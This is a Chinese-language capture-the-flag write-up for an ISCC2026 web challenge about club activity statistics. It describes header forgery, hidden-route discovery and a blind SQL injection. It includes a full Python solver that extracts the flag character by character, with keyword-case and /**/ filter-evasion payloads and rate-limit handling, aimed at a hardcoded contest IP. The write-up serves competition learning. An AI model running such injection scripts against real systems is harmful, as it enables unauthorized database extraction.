Web-社团活动统计
ISCC2026 WriteUp 提交模板
Web-社团活动统计
解题思路
- 观察主界面

疑似是个提示,访问/admin

根据提示可以访问下/start
先访问下/robots.txt

根据提示继续访问:/static/hint/tech_stack.txt

可以看到明确要求:
User-Agent: Campus-Stat/1.0- `Referer: https://campus-stat.example.com/
访问/start

其次根据题目名称推断,并测试发现有个/activity路由

并且发现了一段flag

console.log("%c[Clue] Half of the truth: ISCC{Campus_Stat_A_", "color: #4CAF50; font-size: 14px;");
console.log("%c[Hint] The target might be combined with previous clues...", "color: #2196F3; font-size: 12px;");
2.burp抓包观察
/?page=2的响应包中有:
HTTP/1.1 200 OK
Date: Fri, 15 May 2026 09:26:14 GMT
Server: WSGIServer/0.2 CPython/3.12.13
Content-Type: text/html; charset=utf-8
X-Campus-Token: campus-ctf-2024-abc123
X-Frame-Options: DENY
Content-Length: 6148
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
值得注意:X-Campus-Token: campus-ctf-2024-abc123
根据提示:The target might be combined with previous clues...
拼出路由 /admin/stat/activity/。

根据之前的提示 ,我们修改下请求包:

成功了
在浏览器中请求:

测试后发现只有统计框有用,估计是个sql注入

3.SQL注入
看了下页面发现有下面提示:
<!-- 隐藏提示1:藏在input的title属性中 -->
<input type="text" id="dim_filter" name="dim_filter" placeholder="输入统计维度关键词" title="该参数会作为统计结果的别名使用">
<button type="submit">执行统计</button>
</form>
</div>
<div class="result-box">
<h3>统计结果(活动总数)</h3>
<div class="count">✅ 0</div>
</div>
</div>
<!-- 隐藏提示2:藏在不可见元素的属性中 -->
<div class="hint-attr" data-hint="SQL语句格式为SELECT COUNT(*) AS [维度值] FROM activity"></div>
<!-- 隐藏提示3:藏在HTML注释中 -->
<!-- Flag存储在flag表的value字段,可通过构造条件判断字符是否正确 -->
<!-- WAF会过滤空格和完整关键词,可用/**/替代空格,简化关键词绕过 -->
Exp
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import itertools
import os
import random
import re
import sys
import time
from dataclasses import dataclass, field
from pathlib import Path
from typing import Dict, Iterable, Optional
import requests
DEFAULT_ROOT = "http://39.105.213.28:8000"
DEFAULT_UA = "Campus-Stat/1.0"
DEFAULT_REFERER = "https://campus-stat.example.com/"
DEFAULT_TOKEN = "campus-ctf-2024-abc123"
KNOWN_HEAD = "ISCC{Campus_Stat_A_"
TRUE_VALUE = 10
ASCII_MIN = 32
ASCII_MAX = 126
LEAF_CANDIDATES = ("admin", "stat", "activity", "dashboard", "club", "stats")
@dataclass
class Context:
root: str
ua: str = DEFAULT_UA
referer: str = DEFAULT_REFERER
token: str = DEFAULT_TOKEN
floor_delay: float = 6.0
retries: int = 4
state_file: str = ""
session: requests.Session = field(default_factory=requests.Session)
previous_tick: float = 0.0
strike: int = 0
def pause(ctx: Context) -> None:
base = ctx.floor_delay + ctx.strike * 4
passed = time.monotonic() - ctx.previous_tick
if passed < base:
time.sleep(base - passed + random.uniform(0.35, 0.95))
else:
time.sleep(random.uniform(0.25, 0.7))
ctx.previous_tick = time.monotonic()
def guarded_headers(ctx: Context) -> Dict[str, str]:
return {
"User-Agent": ctx.ua,
"Referer": ctx.referer,
"X-Campus-Token": ctx.token,
}
def pull(
ctx: Context,
path: str,
*,
params: Optional[dict] = None,
headers: Optional[dict] = None,
timeout: int = 15,
) -> requests.Response:
err: Optional[Exception] = None
for attempt in range(1, ctx.retries + 1):
try:
pause(ctx)
resp = ctx.session.get(
f"{ctx.root}{path}",
params=params,
headers=headers,
timeout=timeout,
)
if resp.status_code == 429:
ctx.strike += 1
retry_after = resp.headers.get("Retry-After", "").strip()
header_wait = int(retry_after) if retry_after.isdigit() else 0
cooloff = header_wait or (10 + ctx.strike * 10)
ctx.floor_delay = min(ctx.floor_delay + 1.5, 15.0)
print(f"[slow] 429 on {path}, cooling down {cooloff}s (base delay -> {ctx.floor_delay:.1f}s)")
time.sleep(cooloff)
continue
resp.raise_for_status()
if ctx.strike:
ctx.strike -= 1
if ctx.floor_delay > 6.0:
ctx.floor_delay = max(6.0, ctx.floor_delay - 0.2)
return resp
except Exception as exc:
err = exc
if attempt < ctx.retries:
time.sleep(1.5 * attempt)
raise RuntimeError(f"request failed for {path}: {err}")
def learn_gate(ctx: Context) -> None:
robots = pull(ctx, "/robots.txt", timeout=10).text
match = re.search(r"Allow:\s*(/static/hint/[^\s]+)", robots)
if match:
hint_text = pull(ctx, match.group(1), timeout=10).text
ua_hit = re.search(r'User-Agent:.*?"([^"]+)"', hint_text)
if ua_hit:
ctx.ua = ua_hit.group(1)
referer_hit = re.search(r"https://campus-stat\.example\.com/?", hint_text)
if referer_hit:
ctx.referer = referer_hit.group(0)
if not ctx.referer.endswith("/"):
ctx.referer += "/"
seed = pull(ctx, "/", params={"page": "2"}, timeout=10)
ctx.token = seed.headers.get("X-Campus-Token", ctx.token)
print(f"[gate] ua={ctx.ua}")
print(f"[gate] referer={ctx.referer}")
print(f"[gate] token={ctx.token}")
def scan_clue_pages(ctx: Context) -> Dict[str, str]:
discovered: Dict[str, str] = {}
marks = ("flag{", "Keyword:", "hidden-flag", 'class="here"')
for word in LEAF_CANDIDATES:
path = f"/{word}/"
try:
body = pull(ctx, path, headers=guarded_headers(ctx), timeout=10).text
except Exception:
continue
if any(mark in body for mark in marks):
discovered[word] = body
print(f"[leaf] hit {path}")
for word, body in discovered.items():
if word == "admin":
found = re.search(r"flag\{([A-Za-z0-9_]+)", body)
print(f"[clue] admin -> {found.group(1) if found else 'N/A'}")
elif word == "stat":
found = re.search(r'Keyword:\s*<span class="keyword">([^<]+)</span>', body)
print(f"[clue] stat -> {found.group(1) if found else 'N/A'}")
elif word == "activity":
prefix = re.search(r"ISCC\{Campus_Stat_A_", body)
here = re.search(r'<div class="here">([^<]+)</div>', body)
print(f"[clue] activity -> {here.group(1) if here else 'N/A'}")
print(f"[clue] prefix -> {prefix.group(0) if prefix else 'N/A'}")
return discovered
def candidate_paths(parts: Iterable[str]) -> Iterable[str]:
seen = set()
preferred = ("admin", "stat", "activity")
if all(piece in parts for piece in preferred):
path = "/" + "/".join(preferred) + "/"
seen.add(path)
yield path
for combo in itertools.permutations(parts, 3):
path = "/" + "/".join(combo) + "/"
if path in seen:
continue
seen.add(path)
yield path
def locate_panel(ctx: Context, clues: Dict[str, str]) -> str:
parts = list(clues)
if len(parts) < 3:
parts = ["admin", "stat", "activity"]
for path in candidate_paths(parts):
try:
body = pull(ctx, path, headers=guarded_headers(ctx), timeout=15).text
except Exception:
continue
if 'name="dim_filter"' in body and "COUNT(*) AS" in body:
print(f"[core] {path}")
return path
raise RuntimeError("core path not found")
def read_count(page: str) -> int:
match = re.search(r'class="count">\s*.*?(\d+)\s*</div>', page, re.S)
if not match:
raise RuntimeError("count field missing in response")
return int(match.group(1))
def ask_oracle(ctx: Context, core_path: str, condition: str) -> bool:
body = pull(
ctx,
core_path,
params={"dim_filter": condition},
headers=guarded_headers(ctx),
timeout=20,
).text
return read_count(body) == TRUE_VALUE
def resolve_ascii(ctx: Context, core_path: str, offset: int) -> str:
low, high = ASCII_MIN, ASCII_MAX
while low < high:
mid = (low + high) // 2
expr = f"unicode(substr((SeLeCt/**/value/**/FrOm/**/flag),{offset},1))<={mid}"
if ask_oracle(ctx, core_path, expr):
high = mid
else:
low = mid + 1
check = f"unicode(substr((SeLeCt/**/value/**/FrOm/**/flag),{offset},1))={low}"
if not ask_oracle(ctx, core_path, check):
raise RuntimeError(f"verification failed at position {offset}")
return chr(low)
def recover_flag(ctx: Context, core_path: str, prefix: str) -> str:
result = prefix
index = len(prefix) + 1
print(f"[work] seed prefix: {prefix}")
while True:
ch = resolve_ascii(ctx, core_path, index)
result += ch
save_state(ctx.state_file, result)
print(f"[work] pos={index} char={ch!r} -> {result}")
if ch == "}":
return result
if len(result) > 80:
raise RuntimeError("unexpected flag growth")
index += 1
def verify_guess(ctx: Context, core_path: str, flag_text: str) -> bool:
probe = f"(SeLeCt/**/value/**/FrOm/**/flag)='{flag_text}'"
return ask_oracle(ctx, core_path, probe)
def load_state(seed_prefix: str, state_file: str) -> str:
if not state_file:
return seed_prefix
path = Path(state_file)
if not path.exists():
return seed_prefix
cached = path.read_text(encoding="utf-8").strip()
if cached.startswith(seed_prefix) and len(cached) > len(seed_prefix):
print(f"[resume] continue from saved prefix: {cached}")
return cached
return seed_prefix
def save_state(state_file: str, current: str) -> None:
if not state_file:
return
Path(state_file).write_text(current, encoding="utf-8")
def build_cli() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser(description="Alternative solver for the campus activity statistics challenge")
parser.add_argument("--base", default=DEFAULT_ROOT, help="target root URL")
parser.add_argument("--prefix", default=KNOWN_HEAD, help="known flag prefix")
parser.add_argument(
"--mode",
choices=("smoke", "solve", "verify"),
default="solve",
help="smoke: stop after finding core route; solve: dump flag tail; verify: only check a provided flag",
)
parser.add_argument("--flag", default="", help="flag value used by --mode verify")
parser.add_argument("--delay", type=float, default=6.0, help="minimum delay between requests")
parser.add_argument(
"--state-file",
default=os.path.join(os.path.dirname(__file__), "iscc_web3_exp_alt.state.txt"),
help="save recovered prefix here for resume",
)
return parser
def main() -> int:
args = build_cli().parse_args()
seed_prefix = load_state(args.prefix, args.state_file)
ctx = Context(root=args.base.rstrip("/"), floor_delay=args.delay, state_file=args.state_file)
learn_gate(ctx)
clues = scan_clue_pages(ctx)
core_path = locate_panel(ctx, clues)
if args.mode == "smoke":
print("[done] smoke test passed")
return 0
if args.mode == "verify":
if not args.flag:
print("[error] --flag is required in verify mode", file=sys.stderr)
return 2
ok = verify_guess(ctx, core_path, args.flag)
print(f"[verify] {args.flag} -> {'TRUE' if ok else 'FALSE'}")
return 0 if ok else 1
final_flag = recover_flag(ctx, core_path, seed_prefix)
save_state(ctx.state_file, final_flag)
print(f"\n[flag] {final_flag}")
return 0
if __name__ == "__main__":
raise SystemExit(main())

浙公网安备 33010602011771号